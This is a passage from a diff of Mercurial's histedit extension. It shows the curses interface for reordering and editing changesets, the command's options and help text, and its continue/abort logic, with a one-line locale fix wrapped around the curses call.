 def movecursor(state, oldpos, newpos):
     '''Change the rule/changeset that the cursor is pointing to, regardless of
     current mode (you can switch between patches from the view patch window).'''
     state[b'pos'] = newpos
 
     mode, _ = state[b'mode']
     if mode == MODE_RULES:
         # Scroll through the list by updating the view for MODE_RULES, so that
         # even if we are not currently viewing the rules, switching back will
         # result in the cursor's rule being visible.
         modestate = state[b'modes'][MODE_RULES]
         if newpos < modestate[b'line_offset']:
             modestate[b'line_offset'] = newpos
         elif newpos > modestate[b'line_offset'] + state[b'page_height'] - 1:
             modestate[b'line_offset'] = newpos - state[b'page_height'] + 1
 
     # Reset the patch view region to the top of the new patch.
     state[b'modes'][MODE_PATCH][b'line_offset'] = 0
 
 
 def changemode(state, mode):
     curmode, _ = state[b'mode']
     state[b'mode'] = (mode, curmode)
     if mode == MODE_PATCH:
         state[b'modes'][MODE_PATCH][b'patchcontents'] = patchcontents(state)
 
 
 def makeselection(state, pos):
     state[b'selected'] = pos
 
 
 def swap(state, oldpos, newpos):
     """Swap two positions and calculate necessary conflicts in
     O(|newpos-oldpos|) time"""
 
     rules = state[b'rules']
     assert 0 <= oldpos < len(rules) and 0 <= newpos < len(rules)
 
     rules[oldpos], rules[newpos] = rules[newpos], rules[oldpos]
 
     # TODO: swap should not know about histeditrule's internals
     rules[newpos].pos = newpos
     rules[oldpos].pos = oldpos
 
     start = min(oldpos, newpos)
     end = max(oldpos, newpos)
     for r in pycompat.xrange(start, end + 1):
         rules[newpos].checkconflicts(rules[r])
         rules[oldpos].checkconflicts(rules[r])
 
     if state[b'selected']:
         makeselection(state, newpos)
 
 
 def changeaction(state, pos, action):
     """Change the action state on the given position to the new action"""
     rules = state[b'rules']
     assert 0 <= pos < len(rules)
     rules[pos].action = action
 
 
 def cycleaction(state, pos, next=False):
     """Changes the action state the next or the previous action from
     the action list"""
     rules = state[b'rules']
     assert 0 <= pos < len(rules)
     current = rules[pos].action
 
     assert current in KEY_LIST
 
     index = KEY_LIST.index(current)
     if next:
         index += 1
     else:
         index -= 1
     changeaction(state, pos, KEY_LIST[index % len(KEY_LIST)])
 
 
 def changeview(state, delta, unit):
     '''Change the region of whatever is being viewed (a patch or the list of
     changesets). 'delta' is an amount (+/- 1) and 'unit' is 'page' or 'line'.'''
     mode, _ = state[b'mode']
     if mode != MODE_PATCH:
         return
     mode_state = state[b'modes'][mode]
     num_lines = len(mode_state[b'patchcontents'])
     page_height = state[b'page_height']
     unit = page_height if unit == b'page' else 1
     num_pages = 1 + (num_lines - 1) // page_height
     max_offset = (num_pages - 1) * page_height
     newline = mode_state[b'line_offset'] + delta * unit
     mode_state[b'line_offset'] = max(0, min(max_offset, newline))
 
 
 def event(state, ch):
     """Change state based on the current character input
 
     This takes the current state and based on the current character input from
     the user we change the state.
     """
     selected = state[b'selected']
     oldpos = state[b'pos']
     rules = state[b'rules']
 
     if ch in (curses.KEY_RESIZE, b"KEY_RESIZE"):
         return E_RESIZE
 
     lookup_ch = ch
     if ch is not None and b'0' <= ch <= b'9':
         lookup_ch = b'0'
 
     curmode, prevmode = state[b'mode']
     action = KEYTABLE[curmode].get(
         lookup_ch, KEYTABLE[b'global'].get(lookup_ch)
     )
     if action is None:
         return
     if action in (b'down', b'move-down'):
         newpos = min(oldpos + 1, len(rules) - 1)
         movecursor(state, oldpos, newpos)
         if selected is not None or action == b'move-down':
             swap(state, oldpos, newpos)
     elif action in (b'up', b'move-up'):
         newpos = max(0, oldpos - 1)
         movecursor(state, oldpos, newpos)
         if selected is not None or action == b'move-up':
             swap(state, oldpos, newpos)
     elif action == b'next-action':
         cycleaction(state, oldpos, next=True)
     elif action == b'prev-action':
         cycleaction(state, oldpos, next=False)
     elif action == b'select':
         selected = oldpos if selected is None else None
         makeselection(state, selected)
     elif action == b'goto' and int(ch) < len(rules) and len(rules) <= 10:
         newrule = next((r for r in rules if r.origpos == int(ch)))
         movecursor(state, oldpos, newrule.pos)
         if selected is not None:
             swap(state, oldpos, newrule.pos)
     elif action.startswith(b'action-'):
         changeaction(state, oldpos, action[7:])
     elif action == b'showpatch':
         changemode(state, MODE_PATCH if curmode != MODE_PATCH else prevmode)
     elif action == b'help':
         changemode(state, MODE_HELP if curmode != MODE_HELP else prevmode)
     elif action == b'quit':
         return E_QUIT
     elif action == b'histedit':
         return E_HISTEDIT
     elif action == b'page-down':
         return E_PAGEDOWN
     elif action == b'page-up':
         return E_PAGEUP
     elif action == b'line-down':
         return E_LINEDOWN
     elif action == b'line-up':
         return E_LINEUP
 
 
 def makecommands(rules):
     """Returns a list of commands consumable by histedit --commands based on
     our list of rules"""
     commands = []
     for rules in rules:
         commands.append(b'%s %s\n' % (rules.action, rules.ctx))
     return commands
 
 
 def addln(win, y, x, line, color=None):
     """Add a line to the given window left padding but 100% filled with
     whitespace characters, so that the color appears on the whole line"""
     maxy, maxx = win.getmaxyx()
     length = maxx - 1 - x
     line = bytes(line).ljust(length)[:length]
     if y < 0:
         y = maxy + y
     if x < 0:
         x = maxx + x
     if color:
         win.addstr(y, x, line, color)
     else:
         win.addstr(y, x, line)
 
 
 def _trunc_head(line, n):
     if len(line) <= n:
         return line
     return b'> ' + line[-(n - 2) :]
 
 
 def _trunc_tail(line, n):
     if len(line) <= n:
         return line
     return line[: n - 2] + b' >'
 
 
 def patchcontents(state):
     repo = state[b'repo']
     rule = state[b'rules'][state[b'pos']]
     displayer = logcmdutil.changesetdisplayer(
         repo.ui, repo, {b"patch": True, b"template": b"status"}, buffered=True
     )
     overrides = {(b'ui', b'verbose'): True}
     with repo.ui.configoverride(overrides, source=b'histedit'):
         displayer.show(rule.ctx)
         displayer.close()
     return displayer.hunk[rule.ctx.rev()].splitlines()
 
 
 def _chisteditmain(repo, rules, stdscr):
     try:
         curses.use_default_colors()
     except curses.error:
         pass
 
     # initialize color pattern
     curses.init_pair(COLOR_HELP, curses.COLOR_WHITE, curses.COLOR_BLUE)
     curses.init_pair(COLOR_SELECTED, curses.COLOR_BLACK, curses.COLOR_WHITE)
     curses.init_pair(COLOR_WARN, curses.COLOR_BLACK, curses.COLOR_YELLOW)
     curses.init_pair(COLOR_OK, curses.COLOR_BLACK, curses.COLOR_GREEN)
     curses.init_pair(COLOR_CURRENT, curses.COLOR_WHITE, curses.COLOR_MAGENTA)
     curses.init_pair(COLOR_DIFF_ADD_LINE, curses.COLOR_GREEN, -1)
     curses.init_pair(COLOR_DIFF_DEL_LINE, curses.COLOR_RED, -1)
     curses.init_pair(COLOR_DIFF_OFFSET, curses.COLOR_MAGENTA, -1)
     curses.init_pair(COLOR_ROLL, curses.COLOR_RED, -1)
     curses.init_pair(
         COLOR_ROLL_CURRENT, curses.COLOR_BLACK, curses.COLOR_MAGENTA
     )
     curses.init_pair(COLOR_ROLL_SELECTED, curses.COLOR_RED, curses.COLOR_WHITE)
 
     # don't display the cursor
     try:
         curses.curs_set(0)
     except curses.error:
         pass
 
     def rendercommit(win, state):
         """Renders the commit window that shows the log of the current selected
         commit"""
         pos = state[b'pos']
         rules = state[b'rules']
         rule = rules[pos]
 
         ctx = rule.ctx
         win.box()
 
         maxy, maxx = win.getmaxyx()
         length = maxx - 3
 
         line = b"changeset: %d:%s" % (ctx.rev(), ctx.hex()[:12])
         win.addstr(1, 1, line[:length])
 
         line = b"user:      %s" % ctx.user()
         win.addstr(2, 1, line[:length])
 
         bms = repo.nodebookmarks(ctx.node())
         line = b"bookmark:  %s" % b' '.join(bms)
         win.addstr(3, 1, line[:length])
 
         line = b"summary:   %s" % (ctx.description().splitlines()[0])
         win.addstr(4, 1, line[:length])
 
         line = b"files:     "
         win.addstr(5, 1, line)
         fnx = 1 + len(line)
         fnmaxx = length - fnx + 1
         y = 5
         fnmaxn = maxy - (1 + y) - 1
         files = ctx.files()
         for i, line1 in enumerate(files):
             if len(files) > fnmaxn and i == fnmaxn - 1:
                 win.addstr(y, fnx, _trunc_tail(b','.join(files[i:]), fnmaxx))
                 y = y + 1
                 break
             win.addstr(y, fnx, _trunc_head(line1, fnmaxx))
             y = y + 1
 
         conflicts = rule.conflicts
         if len(conflicts) > 0:
             conflictstr = b','.join(map(lambda r: r.ctx.hex()[:12], conflicts))
             conflictstr = b"changed files overlap with %s" % conflictstr
         else:
             conflictstr = b'no overlap'
 
         win.addstr(y, 1, conflictstr[:length])
         win.noutrefresh()
 
     def helplines(mode):
         if mode == MODE_PATCH:
             help = b"""\
 ?: help, k/up: line up, j/down: line down, v: stop viewing patch
 pgup: prev page, space/pgdn: next page, c: commit, q: abort
 """
         else:
             help = b"""\
 ?: help, k/up: move up, j/down: move down, space: select, v: view patch
 d: drop, e: edit, f: fold, m: mess, p: pick, r: roll
 pgup/K: move patch up, pgdn/J: move patch down, c: commit, q: abort
 """
         return help.splitlines()
 
     def renderhelp(win, state):
         maxy, maxx = win.getmaxyx()
         mode, _ = state[b'mode']
         for y, line in enumerate(helplines(mode)):
             if y >= maxy:
                 break
             addln(win, y, 0, line, curses.color_pair(COLOR_HELP))
         win.noutrefresh()
 
     def renderrules(rulesscr, state):
         rules = state[b'rules']
         pos = state[b'pos']
         selected = state[b'selected']
         start = state[b'modes'][MODE_RULES][b'line_offset']
 
         conflicts = [r.ctx for r in rules if r.conflicts]
         if len(conflicts) > 0:
             line = b"potential conflict in %s" % b','.join(
                 map(pycompat.bytestr, conflicts)
             )
             addln(rulesscr, -1, 0, line, curses.color_pair(COLOR_WARN))
 
         for y, rule in enumerate(rules[start:]):
             if y >= state[b'page_height']:
                 break
             if len(rule.conflicts) > 0:
                 rulesscr.addstr(y, 0, b" ", curses.color_pair(COLOR_WARN))
             else:
                 rulesscr.addstr(y, 0, b" ", curses.COLOR_BLACK)
 
             if y + start == selected:
                 rollcolor = COLOR_ROLL_SELECTED
                 addln(rulesscr, y, 2, rule, curses.color_pair(COLOR_SELECTED))
             elif y + start == pos:
                 rollcolor = COLOR_ROLL_CURRENT
                 addln(
                     rulesscr,
                     y,
                     2,
                     rule,
                     curses.color_pair(COLOR_CURRENT) | curses.A_BOLD,
                 )
             else:
                 rollcolor = COLOR_ROLL
                 addln(rulesscr, y, 2, rule)
 
             if rule.action == b'roll':
                 rulesscr.addstr(
                     y,
                     2 + len(rule.prefix),
                     rule.desc,
                     curses.color_pair(rollcolor),
                 )
 
         rulesscr.noutrefresh()
 
     def renderstring(win, state, output, diffcolors=False):
         maxy, maxx = win.getmaxyx()
         length = min(maxy - 1, len(output))
         for y in range(0, length):
             line = output[y]
             if diffcolors:
                 if line and line[0] == b'+':
                     win.addstr(
                         y, 0, line, curses.color_pair(COLOR_DIFF_ADD_LINE)
                     )
                 elif line and line[0] == b'-':
                     win.addstr(
                         y, 0, line, curses.color_pair(COLOR_DIFF_DEL_LINE)
                     )
                 elif line.startswith(b'@@ '):
                     win.addstr(y, 0, line, curses.color_pair(COLOR_DIFF_OFFSET))
                 else:
                     win.addstr(y, 0, line)
             else:
                 win.addstr(y, 0, line)
         win.noutrefresh()
 
     def renderpatch(win, state):
         start = state[b'modes'][MODE_PATCH][b'line_offset']
         content = state[b'modes'][MODE_PATCH][b'patchcontents']
         renderstring(win, state, content[start:], diffcolors=True)
 
     def layout(mode):
         maxy, maxx = stdscr.getmaxyx()
         helplen = len(helplines(mode))
         return {
             b'commit': (12, maxx),
             b'help': (helplen, maxx),
             b'main': (maxy - helplen - 12, maxx),
         }
 
     def drawvertwin(size, y, x):
         win = curses.newwin(size[0], size[1], y, x)
         y += size[0]
         return win, y, x
 
     state = {
         b'pos': 0,
         b'rules': rules,
         b'selected': None,
         b'mode': (MODE_INIT, MODE_INIT),
         b'page_height': None,
         b'modes': {
             MODE_RULES: {b'line_offset': 0,},
             MODE_PATCH: {b'line_offset': 0,},
         },
         b'repo': repo,
     }
 
     # eventloop
     ch = None
     stdscr.clear()
     stdscr.refresh()
     while True:
         try:
             oldmode, _ = state[b'mode']
             if oldmode == MODE_INIT:
                 changemode(state, MODE_RULES)
             e = event(state, ch)
 
             if e == E_QUIT:
                 return False
             if e == E_HISTEDIT:
                 return state[b'rules']
             else:
                 if e == E_RESIZE:
                     size = screen_size()
                     if size != stdscr.getmaxyx():
                         curses.resizeterm(*size)
 
                 curmode, _ = state[b'mode']
                 sizes = layout(curmode)
                 if curmode != oldmode:
                     state[b'page_height'] = sizes[b'main'][0]
                     # Adjust the view to fit the current screen size.
                     movecursor(state, state[b'pos'], state[b'pos'])
 
                 # Pack the windows against the top, each pane spread across the
                 # full width of the screen.
                 y, x = (0, 0)
                 helpwin, y, x = drawvertwin(sizes[b'help'], y, x)
                 mainwin, y, x = drawvertwin(sizes[b'main'], y, x)
                 commitwin, y, x = drawvertwin(sizes[b'commit'], y, x)
 
                 if e in (E_PAGEDOWN, E_PAGEUP, E_LINEDOWN, E_LINEUP):
                     if e == E_PAGEDOWN:
                         changeview(state, +1, b'page')
                     elif e == E_PAGEUP:
                         changeview(state, -1, b'page')
                     elif e == E_LINEDOWN:
                         changeview(state, +1, b'line')
                     elif e == E_LINEUP:
                         changeview(state, -1, b'line')
 
                 # start rendering
                 commitwin.erase()
                 helpwin.erase()
                 mainwin.erase()
                 if curmode == MODE_PATCH:
                     renderpatch(mainwin, state)
                 elif curmode == MODE_HELP:
                     renderstring(mainwin, state, __doc__.strip().splitlines())
                 else:
                     renderrules(mainwin, state)
                     rendercommit(commitwin, state)
                 renderhelp(helpwin, state)
                 curses.doupdate()
                 # done rendering
                 ch = encoding.strtolocal(stdscr.getkey())
         except curses.error:
             pass
 
 
 def _chistedit(ui, repo, freeargs, opts):
     """interactively edit changeset history via a curses interface
 
     Provides a ncurses interface to histedit. Press ? in chistedit mode
     to see an extensive help. Requires python-curses to be installed."""
 
     if curses is None:
         raise error.Abort(_(b"Python curses library required"))
 
     # disable color
     ui._colormode = None
 
     try:
         keep = opts.get(b'keep')
         revs = opts.get(b'rev', [])[:]
         cmdutil.checkunfinished(repo)
         cmdutil.bailifchanged(repo)
 
         if os.path.exists(os.path.join(repo.path, b'histedit-state')):
             raise error.Abort(
                 _(
                     b'history edit already in progress, try '
                     b'--continue or --abort'
                 )
             )
         revs.extend(freeargs)
         if not revs:
             defaultrev = destutil.desthistedit(ui, repo)
             if defaultrev is not None:
                 revs.append(defaultrev)
         if len(revs) != 1:
             raise error.Abort(
                 _(b'histedit requires exactly one ancestor revision')
             )
 
         rr = list(repo.set(b'roots(%ld)', scmutil.revrange(repo, revs)))
         if len(rr) != 1:
             raise error.Abort(
                 _(
                     b'The specified revisions must have '
                     b'exactly one common root'
                 )
             )
         root = rr[0].node()
 
         topmost = repo.dirstate.p1()
         revs = between(repo, root, topmost, keep)
         if not revs:
             raise error.Abort(
                 _(b'%s is not an ancestor of working directory')
                 % node.short(root)
             )
 
         ctxs = []
         for i, r in enumerate(revs):
             ctxs.append(histeditrule(ui, repo[r], i))
-        rc = curses.wrapper(functools.partial(_chisteditmain, repo, ctxs))
+        with util.with_lc_ctype():
+            rc = curses.wrapper(functools.partial(_chisteditmain, repo, ctxs))
         curses.echo()
         curses.endwin()
         if rc is False:
             ui.write(_(b"histedit aborted\n"))
             return 0
         if type(rc) is list:
             ui.status(_(b"performing changes\n"))
             rules = makecommands(rc)
             with repo.vfs(b'chistedit', b'w+') as fp:
                 for r in rules:
                     fp.write(r)
                 opts[b'commands'] = fp.name
             return _texthistedit(ui, repo, freeargs, opts)
     except KeyboardInterrupt:
         pass
     return -1
 
 
 @command(
     b'histedit',
     [
         (
             b'',
             b'commands',
             b'',
             _(b'read history edits from the specified file'),
             _(b'FILE'),
         ),
         (b'c', b'continue', False, _(b'continue an edit already in progress')),
         (b'', b'edit-plan', False, _(b'edit remaining actions list')),
         (
             b'k',
             b'keep',
             False,
             _(b"don't strip old nodes after edit is complete"),
         ),
         (b'', b'abort', False, _(b'abort an edit in progress')),
         (b'o', b'outgoing', False, _(b'changesets not found in destination')),
         (
             b'f',
             b'force',
             False,
             _(b'force outgoing even for unrelated repositories'),
         ),
         (b'r', b'rev', [], _(b'first revision to be edited'), _(b'REV')),
     ]
     + cmdutil.formatteropts,
     _(b"[OPTIONS] ([ANCESTOR] | --outgoing [URL])"),
     helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
 )
 def histedit(ui, repo, *freeargs, **opts):
     """interactively edit changeset history
 
     This command lets you edit a linear series of changesets (up to
     and including the working directory, which should be clean).
     You can:
 
     - `pick` to [re]order a changeset
 
     - `drop` to omit changeset
 
     - `mess` to reword the changeset commit message
 
     - `fold` to combine it with the preceding changeset (using the later date)
 
     - `roll` like fold, but discarding this commit's description and date
 
     - `edit` to edit this changeset (preserving date)
 
     - `base` to checkout changeset and apply further changesets from there
 
     There are a number of ways to select the root changeset:
 
     - Specify ANCESTOR directly
 
     - Use --outgoing -- it will be the first linear changeset not
       included in destination. (See :hg:`help config.paths.default-push`)
 
     - Otherwise, the value from the "histedit.defaultrev" config option
       is used as a revset to select the base revision when ANCESTOR is not
       specified. The first revision returned by the revset is used. By
       default, this selects the editable history that is unique to the
       ancestry of the working directory.
 
     .. container:: verbose
 
        If you use --outgoing, this command will abort if there are ambiguous
        outgoing revisions. For example, if there are multiple branches
        containing outgoing revisions.
 
        Use "min(outgoing() and ::.)" or similar revset specification
        instead of --outgoing to specify edit target revision exactly in
        such ambiguous situation. See :hg:`help revsets` for detail about
        selecting revisions.
 
     .. container:: verbose
 
        Examples:
 
          - A number of changes have been made.
            Revision 3 is no longer needed.
 
            Start history editing from revision 3::
 
              hg histedit -r 3
 
            An editor opens, containing the list of revisions,
            with specific actions specified::
 
              pick 5339bf82f0ca 3 Zworgle the foobar
              pick 8ef592ce7cc4 4 Bedazzle the zerlog
              pick 0a9639fcda9d 5 Morgify the cromulancy
 
            Additional information about the possible actions
            to take appears below the list of revisions.
 
            To remove revision 3 from the history,
            its action (at the beginning of the relevant line)
            is changed to 'drop'::
 
              drop 5339bf82f0ca 3 Zworgle the foobar
              pick 8ef592ce7cc4 4 Bedazzle the zerlog
              pick 0a9639fcda9d 5 Morgify the cromulancy
 
          - A number of changes have been made.
            Revision 2 and 4 need to be swapped.
 
            Start history editing from revision 2::
 
              hg histedit -r 2
 
            An editor opens, containing the list of revisions,
            with specific actions specified::
 
              pick 252a1af424ad 2 Blorb a morgwazzle
              pick 5339bf82f0ca 3 Zworgle the foobar
              pick 8ef592ce7cc4 4 Bedazzle the zerlog
 
            To swap revision 2 and 4, its lines are swapped
            in the editor::
 
              pick 8ef592ce7cc4 4 Bedazzle the zerlog
              pick 5339bf82f0ca 3 Zworgle the foobar
              pick 252a1af424ad 2 Blorb a morgwazzle
 
     Returns 0 on success, 1 if user intervention is required (not only
     for intentional "edit" command, but also for resolving unexpected
     conflicts).
     """
     opts = pycompat.byteskwargs(opts)
 
     # kludge: _chistedit only works for starting an edit, not aborting
     # or continuing, so fall back to regular _texthistedit for those
     # operations.
     if ui.interface(b'histedit') == b'curses' and _getgoal(opts) == goalnew:
         return _chistedit(ui, repo, freeargs, opts)
     return _texthistedit(ui, repo, freeargs, opts)
 
 
 def _texthistedit(ui, repo, freeargs, opts):
     state = histeditstate(repo)
     with repo.wlock() as wlock, repo.lock() as lock:
         state.wlock = wlock
         state.lock = lock
         _histedit(ui, repo, state, freeargs, opts)
 
 
 goalcontinue = b'continue'
 goalabort = b'abort'
 goaleditplan = b'edit-plan'
 goalnew = b'new'
 
 
 def _getgoal(opts):
     if opts.get(b'continue'):
         return goalcontinue
     if opts.get(b'abort'):
         return goalabort
     if opts.get(b'edit_plan'):
         return goaleditplan
     return goalnew
 
 
 def _readfile(ui, path):
     if path == b'-':
         with ui.timeblockedsection(b'histedit'):
             return ui.fin.read()
     else:
         with open(path, b'rb') as f:
             return f.read()
 
 
 def _validateargs(ui, repo, state, freeargs, opts, goal, rules, revs):
     # TODO only abort if we try to histedit mq patches, not just
     # blanket if mq patches are applied somewhere
     mq = getattr(repo, 'mq', None)
     if mq and mq.applied:
         raise error.Abort(_(b'source has mq patches applied'))
 
     # basic argument incompatibility processing
     outg = opts.get(b'outgoing')
     editplan = opts.get(b'edit_plan')
     abort = opts.get(b'abort')
     force = opts.get(b'force')
     if force and not outg:
         raise error.Abort(_(b'--force only allowed with --outgoing'))
     if goal == b'continue':
         if any((outg, abort, revs, freeargs, rules, editplan)):
             raise error.Abort(_(b'no arguments allowed with --continue'))
     elif goal == b'abort':
         if any((outg, revs, freeargs, rules, editplan)):
             raise error.Abort(_(b'no arguments allowed with --abort'))
     elif goal == b'edit-plan':
         if any((outg, revs, freeargs)):
             raise error.Abort(
                 _(b'only --commands argument allowed with --edit-plan')
             )
     else:
         if state.inprogress():
             raise error.Abort(
                 _(
                     b'history edit already in progress, try '
                     b'--continue or --abort'
                 )
             )
         if outg:
             if revs:
                 raise error.Abort(_(b'no revisions allowed with --outgoing'))
             if len(freeargs) > 1:
                 raise error.Abort(
                     _(b'only one repo argument allowed with --outgoing')
                 )
         else:
             revs.extend(freeargs)
             if len(revs) == 0:
                 defaultrev = destutil.desthistedit(ui, repo)
                 if defaultrev is not None:
                     revs.append(defaultrev)
 
             if len(revs) != 1:
                 raise error.Abort(
                     _(b'histedit requires exactly one ancestor revision')
                 )
 
 
 def _histedit(ui, repo, state, freeargs, opts):
     fm = ui.formatter(b'histedit', opts)
     fm.startitem()
     goal = _getgoal(opts)
     revs = opts.get(b'rev', [])
     nobackup = not ui.configbool(b'rewrite', b'backup-bundle')
     rules = opts.get(b'commands', b'')
     state.keep = opts.get(b'keep', False)
 
     _validateargs(ui, repo, state, freeargs, opts, goal, rules, revs)
 
     hastags = False
     if revs:
         revs = scmutil.revrange(repo, revs)
         ctxs = [repo[rev] for rev in revs]
         for ctx in ctxs:
             tags = [tag for tag in ctx.tags() if tag != b'tip']
             if not hastags:
                 hastags = len(tags)
     if hastags:
         if ui.promptchoice(
             _(
                 b'warning: tags associated with the given'
                 b' changeset will be lost after histedit.\n'
                 b'do you want to continue (yN)? $$ &Yes $$ &No'
             ),
             default=1,
         ):
             raise error.Abort(_(b'histedit cancelled\n'))
     # rebuild state
     if goal == goalcontinue:
         state.read()
         state = bootstrapcontinue(ui, state, opts)
     elif goal == goaleditplan:
         _edithisteditplan(ui, repo, state, rules)
         return
     elif goal == goalabort:
         _aborthistedit(ui, repo, state, nobackup=nobackup)
         return
     else:
         # goal == goalnew
         _newhistedit(ui, repo, state, revs, freeargs, opts)
 
     _continuehistedit(ui, repo, state)
     _finishhistedit(ui, repo, state, fm)
     fm.end()
 
 
 def _continuehistedit(ui, repo, state):
     """This function runs after either:
     - bootstrapcontinue (if the goal is 'continue')
     - _newhistedit (if the goal is 'new')
     """
     # preprocess rules so that we can hide inner folds from the user
     # and only show one editor
     actions = state.actions[:]
     for idx, (action, nextact) in enumerate(zip(actions, actions[1:] + [None])):
         if action.verb == b'fold' and nextact and nextact.verb == b'fold':
             state.actions[idx].__class__ = _multifold
 
     # Force an initial state file write, so the user can run --abort/continue
     # even if there's an exception before the first transaction serialize.
     state.write()
 
     tr = None
     # Don't use singletransaction by default since it rolls the entire
     # transaction back if an unexpected exception happens (like a
     # pretxncommit hook throws, or the user aborts the commit msg editor).
     if ui.configbool(b"histedit", b"singletransaction"):
         # Don't use a 'with' for the transaction, since actions may close
         # and reopen a transaction. For example, if the action executes an
         # external process it may choose to commit the transaction first.
         tr = repo.transaction(b'histedit')
     progress = ui.makeprogress(
         _(b"editing"), unit=_(b'changes'), total=len(state.actions)
     )
     with progress, util.acceptintervention(tr):
         while state.actions:
             state.write(tr=tr)
             actobj = state.actions[0]
             progress.increment(item=actobj.torule())
             ui.debug(
                 b'histedit: processing %s %s\n' % (actobj.verb, actobj.torule())
             )
             parentctx, replacement_ = actobj.run()
             state.parentctxnode = parentctx.node()
             state.replacements.extend(replacement_)
             state.actions.pop(0)
 
     state.write()
 
 
 def _finishhistedit(ui, repo, state, fm):
     """This action runs when histedit is finishing its session"""
     hg.updaterepo(repo, state.parentctxnode, overwrite=False)
 
     mapping, tmpnodes, created, ntm = processreplacement(state)
     if mapping:
         for prec, succs in pycompat.iteritems(mapping):
             if not succs:
                 ui.debug(b'histedit: %s is dropped\n' % node.short(prec))
             else:
                 ui.debug(
                     b'histedit: %s is replaced by %s\n'
                     % (node.short(prec), node.short(succs[0]))
                 )
                 if len(succs) > 1:
                     m = b'histedit:                            %s'
                     for n in succs[1:]:
                         ui.debug(m % node.short(n))
 
     if not state.keep:
         if mapping:
             movetopmostbookmarks(repo, state.topmost, ntm)
             # TODO update mq state
     else:
         mapping = {}
 
     for n in tmpnodes:
         if n in repo:
             mapping[n] = ()
 
     # remove entries about unknown nodes
     has_node = repo.unfiltered().changelog.index.has_node
     mapping = {
         k: v
         for k, v in mapping.items()
         if has_node(k) and all(has_node(n) for n in v)
     }
     scmutil.cleanupnodes(repo, mapping, b'histedit')
     hf = fm.hexfunc
     fl = fm.formatlist
     fd = fm.formatdict
     nodechanges = fd(
         {
             hf(oldn): fl([hf(n) for n in newn], name=b'node')
             for oldn, newn in pycompat.iteritems(mapping)
         },
         key=b"oldnode",
         value=b"newnodes",
     )
     fm.data(nodechanges=nodechanges)
 
     state.clear()
     if os.path.exists(repo.sjoin(b'undo')):
         os.unlink(repo.sjoin(b'undo'))
     if repo.vfs.exists(b'histedit-last-edit.txt'):
         repo.vfs.unlink(b'histedit-last-edit.txt')
 
 
 def _aborthistedit(ui, repo, state, nobackup=False):
     try:
         state.read()
         __, leafs, tmpnodes, __ = processreplacement(state)
         ui.debug(b'restore wc to old parent %s\n' % node.short(state.topmost))
 
         # Recover our old commits if necessary
         if not state.topmost in repo and state.backupfile:
             backupfile = repo.vfs.join(state.backupfile)
             f = hg.openpath(ui, backupfile)
             gen = exchange.readbundle(ui, f, backupfile)
             with repo.transaction(b'histedit.abort') as tr:
                 bundle2.applybundle(
                     repo,
                     gen,
                     tr,
                     source=b'histedit',
                     url=b'bundle:' + backupfile,
                 )
 
             os.remove(backupfile)
 
         # check whether we should update away
         if repo.unfiltered().revs(
             b'parents() and (%n  or %ln::)',
             state.parentctxnode,
             leafs | tmpnodes,
         ):
             hg.clean(repo, state.topmost, show_stats=True, quietempty=True)
         cleanupnode(ui, repo, tmpnodes, nobackup=nobackup)
         cleanupnode(ui, repo, leafs, nobackup=nobackup)
     except Exception:
         if state.inprogress():
             ui.warn(
                 _(
                     b'warning: encountered an exception during histedit '
                     b'--abort; the repository may not have been completely '
                     b'cleaned up\n'
                 )
             )
         raise
     finally:
         state.clear()
 
 
 def hgaborthistedit(ui, repo):
     state = histeditstate(repo)
     nobackup = not ui.configbool(b'rewrite', b'backup-bundle')
     with repo.wlock() as wlock, repo.lock() as lock:
         state.wlock = wlock
         state.lock = lock
         _aborthistedit(ui, repo, state, nobackup=nobackup)
 
 
 def _edithisteditplan(ui, repo, state, rules):
     state.read()
     if not rules:
         comment = geteditcomment(
             ui, node.short(state.parentctxnode), node.short(state.topmost)
         )
         rules = ruleeditor(repo, ui, state.actions, comment)
     else:
         rules = _readfile(ui, rules)
     actions = parserules(rules, state)
     ctxs = [repo[act.node] for act in state.actions if act.node]
     warnverifyactions(ui, repo, actions, state, ctxs)
     state.actions = actions
     state.write()
 
 
 def _newhistedit(ui, repo, state, revs, freeargs, opts):
     outg = opts.get(b'outgoing')
     rules = opts.get(b'commands', b'')
     force = opts.get(b'force')
 
     cmdutil.checkunfinished(repo)
     cmdutil.bailifchanged(repo)
 
     topmost = repo.dirstate.p1()
     if outg:
         if freeargs:
             remote = freeargs[0]
         else:
             remote = None
         root = findoutgoing(ui, repo, remote, force, opts)
     else:
         rr = list(repo.set(b'roots(%ld)', scmutil.revrange(repo, revs)))
         if len(rr) != 1:
             raise error.Abort(
                 _(
                     b'The specified revisions must have '
                     b'exactly one common root'
                 )
             )
         root = rr[0].node()
 
     revs = between(repo, root, topmost, state.keep)
     if not revs:
         raise error.Abort(
             _(b'%s is not an ancestor of working directory') % node.short(root)
         )
 
     ctxs = [repo[r] for r in revs]
 
     wctx = repo[None]
     # Please don't ask me why `ancestors` is this value. I figured it
     # out with print-debugging, not by actually understanding what the
     # merge code is doing. :(
     ancs = [repo[b'.']]
     # Sniff-test to make sure we won't collide with untracked files in
     # the working directory. If we don't do this, we can get a
     # collision after we've started histedit and backing out gets ugly
     # for everyone, especially the user.
     for c in [ctxs[0].p1()] + ctxs:
         try:
             mergemod.calculateupdates(
                 repo,
                 wctx,
                 c,
                 ancs,
                 # These parameters were determined by print-debugging
                 # what happens later on inside histedit.
                 branchmerge=False,
                 force=False,
                 acceptremote=False,
                 followcopies=False,
             )
         except error.Abort:
             raise error.Abort(
                 _(
                     b"untracked files in working directory conflict with files in %s"
                 )
                 % c
             )
 
     if not rules:
         comment = geteditcomment(ui, node.short(root), node.short(topmost))
         actions = [pick(state, r) for r in revs]
         rules = ruleeditor(repo, ui, actions, comment)
     else:
         rules = _readfile(ui, rules)
     actions = parserules(rules, state)
     warnverifyactions(ui, repo, actions, state, ctxs)
 
     parentctxnode = repo[root].p1().node()
 
     state.parentctxnode = parentctxnode
     state.actions = actions
     state.topmost = topmost
     state.replacements = []
 
     ui.log(
         b"histedit",
         b"%d actions to histedit\n",
         len(actions),
         histedit_num_actions=len(actions),
     )
 
     # Create a backup so we can always abort completely.
     backupfile = None
     if not obsolete.isenabled(repo, obsolete.createmarkersopt):
         backupfile = repair.backupbundle(
             repo, [parentctxnode], [topmost], root, b'histedit'
         )
     state.backupfile = backupfile
 
 
 def _getsummary(ctx):
     # a common pattern is to extract the summary but default to the empty
     # string
     summary = ctx.description() or b''
     if summary:
         summary = summary.splitlines()[0]
     return summary
 
 
 def bootstrapcontinue(ui, state, opts):
     repo = state.repo
 
     ms = mergestatemod.mergestate.read(repo)
     mergeutil.checkunresolved(ms)
 
